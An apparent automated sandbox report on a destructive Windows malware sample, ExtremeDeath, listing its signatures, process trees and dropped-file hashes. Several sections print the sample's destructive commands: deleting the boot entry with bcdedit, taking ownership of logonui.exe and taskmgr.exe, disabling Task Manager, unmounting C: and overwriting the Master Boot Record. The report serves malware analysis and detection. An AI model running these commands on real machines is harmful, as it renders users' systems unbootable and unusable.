Malware Analysis Report

2024-12-07 14:46

Sample ID 241009-kp12nazhlq
Target ExtremeDeath.zip
SHA256 8509174c6b51296ac8a43d08dc773c48fa10b86c9ff7095c4f80bba31966ea1d
Tags
bootkit discovery evasion exploit persistence upx
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

8509174c6b51296ac8a43d08dc773c48fa10b86c9ff7095c4f80bba31966ea1d

Threat Level: Likely malicious

The file ExtremeDeath.zip was found to be: Likely malicious.

Malicious Activity Summary

bootkit discovery evasion exploit persistence upx

Possible privilege escalation attempt

Disables Task Manager via registry modification

Modifies file permissions

Executes dropped EXE

Checks computer location settings

Writes to the Master Boot Record (MBR)

Modifies boot configuration data using bcdedit

UPX packed file

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Unsigned PE

Opens file in notepad (likely ransom note)

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious use of SendNotifyMessage

Suspicious use of FindShellTrayWindow

Suspicious behavior: GetForegroundWindowSpam

Modifies registry key

Delays execution with timeout.exe

Kills process with taskkill

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-09 08:47

Signatures

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-09 08:47

Reported

2024-10-09 08:51

Platform

win7-20240903-en

Max time kernel

119s

Max time network

120s

Command Line

C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.zip

Signatures

N/A

Processes

C:\Windows\Explorer.exe

C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.zip

Network

N/A

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-09 08:47

Reported

2024-10-09 08:51

Platform

win10v2004-20241007-en

Max time kernel

93s

Max time network

96s

Command Line

C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.zip

Signatures

N/A

Processes

C:\Windows\Explorer.exe

C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.zip

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-10-09 08:47

Reported

2024-10-09 08:51

Platform

win7-20240704-en

Max time kernel

147s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe"

Signatures

Disables Task Manager via registry modification

evasion

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Modifies boot configuration data using bcdedit

Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\TrashMBR.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\PlgBlt.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3032 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe C:\Windows\system32\cmd.exe
PID 3032 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe C:\Windows\system32\cmd.exe
PID 3032 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe C:\Windows\system32\cmd.exe
PID 3032 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe C:\Windows\system32\cmd.exe
PID 2888 wrote to memory of 2980 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cscript.exe
PID 2888 wrote to memory of 2980 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cscript.exe
PID 2888 wrote to memory of 2980 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cscript.exe
PID 2888 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2888 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2888 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2888 wrote to memory of 2772 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\TrashMBR.exe
PID 2888 wrote to memory of 2772 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\TrashMBR.exe
PID 2888 wrote to memory of 2772 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\TrashMBR.exe
PID 2888 wrote to memory of 2772 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\TrashMBR.exe
PID 2888 wrote to memory of 3004 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2888 wrote to memory of 3004 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2888 wrote to memory of 3004 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2888 wrote to memory of 2860 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2888 wrote to memory of 2860 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2888 wrote to memory of 2860 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2888 wrote to memory of 1052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2888 wrote to memory of 1052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2888 wrote to memory of 1052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2888 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2888 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2888 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2888 wrote to memory of 2736 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2888 wrote to memory of 2736 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2888 wrote to memory of 2736 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2888 wrote to memory of 2680 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2888 wrote to memory of 2680 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2888 wrote to memory of 2680 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2888 wrote to memory of 2584 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2888 wrote to memory of 2584 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2888 wrote to memory of 2584 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2888 wrote to memory of 536 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2888 wrote to memory of 536 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2888 wrote to memory of 536 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2888 wrote to memory of 2344 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2888 wrote to memory of 2344 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2888 wrote to memory of 2344 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2888 wrote to memory of 2116 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2888 wrote to memory of 2116 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2888 wrote to memory of 2116 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2888 wrote to memory of 1416 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2888 wrote to memory of 1416 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2888 wrote to memory of 1416 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2888 wrote to memory of 2280 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\beeper.exe
PID 2888 wrote to memory of 2280 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\beeper.exe
PID 2888 wrote to memory of 2280 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\beeper.exe
PID 2888 wrote to memory of 1732 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2888 wrote to memory of 1732 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2888 wrote to memory of 1732 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2888 wrote to memory of 1124 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseError.exe
PID 2888 wrote to memory of 1124 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseError.exe
PID 2888 wrote to memory of 1124 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseError.exe
PID 2888 wrote to memory of 1124 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseError.exe
PID 2888 wrote to memory of 2668 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2888 wrote to memory of 2668 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2888 wrote to memory of 2668 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2888 wrote to memory of 1960 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseWarning.exe
PID 2888 wrote to memory of 1960 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseWarning.exe
PID 2888 wrote to memory of 1960 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseWarning.exe
PID 2888 wrote to memory of 1960 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseWarning.exe

Processes

C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe

"C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\D0E7.tmp\D0E8.bat C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe"

C:\Windows\system32\cscript.exe

cscript prompt.vbs

C:\Windows\system32\bcdedit.exe

bcdedit /delete {current}

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\TrashMBR.exe

TrashMBR.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im logonui.exe

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\logonui.exe

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\logonui.exe /grant Admin:F

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\logonui.exe /grant "everyone":F

C:\Windows\system32\taskkill.exe

taskkill /f /im taskmgr.exe

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\taskmgr.exe

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\taskmgr.exe /grant Admin:F

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\taskmgr.exe /grant "everyone":F

C:\Windows\system32\reg.exe

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\beeper.exe

beeper.exe

C:\Windows\system32\timeout.exe

timeout 1 /nobreak

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseError.exe

MouseError.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseWarning.exe

MouseWarning.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseAppIcon.exe

MouseAppIcon.exe

C:\Windows\system32\timeout.exe

timeout 10 /nobreak

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\PlgBlt.exe

PlgBlt.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im MouseError.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im MouseWarning.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im MouseAppIcon.exe

C:\Windows\system32\timeout.exe

timeout 1 /nobreak

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseError.exe

MouseError.exe

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseWarning.exe

MouseWarning.exe

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseAppIcon.exe

MouseAppIcon.exe

C:\Windows\system32\timeout.exe

timeout 15 /nobreak

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\BitBlt.exe

BitBlt.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\glitch.exe

glitch.exe

C:\Windows\system32\timeout.exe

timeout 30 /nobreak

C:\Windows\system32\mountvol.exe

mountvol c: /d

Network

N/A

Files

memory/3032-0-0x0000000000400000-0x000000000051D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\D0E7.tmp\D0E8.bat

MD5 8c5dafc8fbd26dd529c25a01ecd5a51d
SHA1 839e962516258049a9e5e358dec7fe352e09d840
SHA256 355785cc786eed7dffecfa7d33872f6de6baa833dce34598adf0d5c8688c00f6
SHA512 fda772a900c542eb59f4a94dc1eadec9677bb117e84a07c4e5c1afbf853704e6be4031383330f0dd88d2b48bbca973484c1e60ab3aa9424158f2c787e63de295

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\prompt.vbs

MD5 709874d32bd68e69010acdf70cebf063
SHA1 feb94076246fe2fc902ef04d745fa0e60fe1497f
SHA256 1187be0f09aa0f917718064406e4595ac6137dd3a801e91ab2d7a03d98872da1
SHA512 bdb10baa9d02f9fff1b59e718a59c6c5a163d4a9d503fb2fe1767163fd3d746c01a7ca1546ad4febc25685d5a854635bc6170009db851a66853ce66d71d25526

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\TrashMBR.exe

MD5 42d06436fdc392a4e90d03623119fa87
SHA1 df9f007d438fc17fd47324b74a82d100a0763204
SHA256 82f2e6b2cdad0ef859fe839c97bd7c0a34452638d49094979d7c0c4488b5c2ab
SHA512 52655cd83ab881c93c9076ad0d8a9b8ebeba37d6d2b00ebcf5a45f1e835463898aa22611445ff7505977cb8d8942e2f8b6a60706ec7eee494f7131ecc65e76c4

memory/2772-24-0x0000000000400000-0x00000000004D8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\beeper.exe

MD5 8d1a9c2e8d53425499f3a1853d2e0910
SHA1 83962bce20d3f84b796486489e2c734afd1d0846
SHA256 1d89bd45a36dd300a250292cacf22a7beff3cfe0dfddab0d7b77c3c260032131
SHA512 81ba0b91f2fd0ba9b198c59ae7cc6115bf9b05c119ea46f37043a1981ef246c617fe6ba5590048b2e1383fb27c686b6eb75fdd6e642ea4433b404d0eaabf3950

memory/2280-28-0x0000000001250000-0x00000000012BA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseError.exe

MD5 cc72818ce44b3506b64b7f9a73d701bf
SHA1 041497924684e41aa671fe64acf6f980e0d9da7c
SHA256 48da69b9dfd600973ffcdba14abd88972ae51a5cae31b41d85ed56977f2b94dc
SHA512 4e3ad05ad99bd8c150ad99c8becca122613e446c678617f0a5a28e780706afe03580ec643956245e5e02d169e4f28bdf4f95b7d095d8e055517508c7dbeb0149

memory/2280-31-0x0000000001020000-0x0000000001080000-memory.dmp

memory/3032-33-0x0000000000400000-0x000000000051D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseWarning.exe

MD5 ad241a26c7f536fdb0658d602a86fcdd
SHA1 f862eecbac2d4afe4a437b77c6020b6de38b0671
SHA256 c3c6fe174f474e47b93e7aea1d0d77539d6880c3d84acac6412eff3393366dae
SHA512 5d8f9bd5d17a98b03adb4f0e173f011071708847748395889e7b582a25fc9f4606223415d9b61b3f82274a3addd73d86752bfba0bcb452990347f6b1439d672f

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\MouseAppIcon.exe

MD5 92af619c1bdabf79c26bddda2556d9d0
SHA1 ac153eb6edd873abf6dcb6a0edbc9922d15e5dd1
SHA256 72a5692d137571317f84287c4f2abb341b95173f9ee43901f6b3272bb1631e95
SHA512 439855a8487f5cdd5ec195c303c85078af69c05ae28a837ff4d74d8e9f922a9556299b02b7bfdbe47f4287772604b21fe017ee49e0668022877a063771a37adb

memory/1124-38-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1960-40-0x0000000000400000-0x000000000041D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\PlgBlt.exe

MD5 5d8ff1dd3662ac09e5bfa682ffdb233e
SHA1 c0ed5cfd5fa76db7087b4f25a806e124e29520af
SHA256 7cd320070e23e6582589d83f01f4da86ce0d1c0fe83d8df2007886c6ea10cc83
SHA512 d2258dda192a6a938989617aa46c33c0eabfae2a2d3284d3ac999b8d482ff2f08ffde836156ff341e51029d946f71ce77892b13a5924996b92a7773f2e123bb9

memory/2896-45-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1572-51-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2324-53-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2256-54-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1412-55-0x0000000000400000-0x000000000041D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\BitBlt.exe

MD5 d96dcc6c97ee4740f0a3a41b3bccf5cc
SHA1 25530ffaf174063c119e2d0c06afdc1d2bdd416f
SHA256 e0c40f127ceef9de46569154ef16f59e7e15d19477beb167f67a72d35193114e
SHA512 0f9ca7eb852edb469fd2f73e8b2a9425771d359aff4fde220193996befaa07fb57ac5e77d11b4cf29f3d64b358169d6a95cab02af57e5eea390063d5bd9e8372

C:\Users\Admin\AppData\Local\Temp\D0E6.tmp\glitch.exe

MD5 5ce49a6bbff759faf8204a65991d6bd7
SHA1 b8fe526d5cc346c506e543c7eecef995d1f96021
SHA256 48af943061196a4f47d5de6d2335bef7bcfdb89990e8ddb2339e64024f0d50d9
SHA512 e77785d8366de1062eb0d044b3b096f3d3c7687986ec332a607333a40acf8341f917a62f910ca5b419b4122f294e11d81e6fbaf707c240baa8556ede87d01356

memory/1540-65-0x0000000000400000-0x000000000041D000-memory.dmp

memory/324-71-0x0000000000400000-0x000000000041D000-memory.dmp

Analysis: behavioral6

Detonation Overview

Submitted

2024-10-09 08:47

Reported

2024-10-09 08:51

Platform

win10v2004-20241007-en

Max time kernel

150s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe"

Signatures

Disables Task Manager via registry modification

evasion

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies boot configuration data using bcdedit

Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\TrashMBR.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\glitch.exe N/A
